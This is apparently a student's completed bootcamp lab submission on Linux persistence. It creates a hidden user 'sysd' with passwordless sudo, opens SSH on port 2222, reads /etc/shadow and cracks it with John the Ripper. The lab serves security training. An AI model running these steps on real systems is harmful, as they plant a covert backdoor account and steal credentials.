| Cybersecurity |
| --- |
| Module 6 Challenge Submission File |

## Advanced Bash: Owning the System

Make a copy of this document to work in, and then for each step, add the solution commands below the prompt. Save and submit this completed file as your Challenge deliverable.

### Step 1: Shadow People

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created.

| sudo useradd --no-create-home sysd |
| --- |

1. Give your secret user a password.

| sudo passwd sysd |
| --- |

1. Give your secret user a system UID < 1000.

| sudo usermod -u 99 sysd |
| --- |

1. Give your secret user the same GID.

| sudo groupmod -g 99 sysd |
| --- |

1. Give your secret user full sudo access without the need for a password.

| sudo visudo  #includedir /etc/sudoers.d  sysd ALL=(ALL:ALL) NOPASSWD:ALL |
| --- |

1. Test that sudo access works without your password.

| su sysd sudo cat /etc/shadow |
| --- |

### Step 2: Smooth Sailing

1. Edit the sshd\_config file.

| sudo nano /etc/ssh/sshd\_config |
| --- |

### Step 3: Testing Your Configuration Update

1. Restart the SSH service.

| /etc/init.d/ssh restart  Or  systemctl restart ssh.service  \*Note: since I am in the root account, I do not need to use sudo in front of the commands. |
| --- |

1. Exit the root account.

| exit |
| --- |

1. SSH to the target machine using your sysd account and port 2222.

| ssh sysd@<ipaddress> -p 2222 |
| --- |

1. Use sudo to switch to the root user.

| sudo -s  Or  sudo su root |
| --- |

### Step 4: Crack All the Passwords

1. SSH back to the system using your sysd account and port 2222.

| ssh sysd@<ipaddress> -p 2222 |
| --- |

1. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file.

| sudo su root cat /etc/shadow  john /etc/shadow |
| --- |

© 2022 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.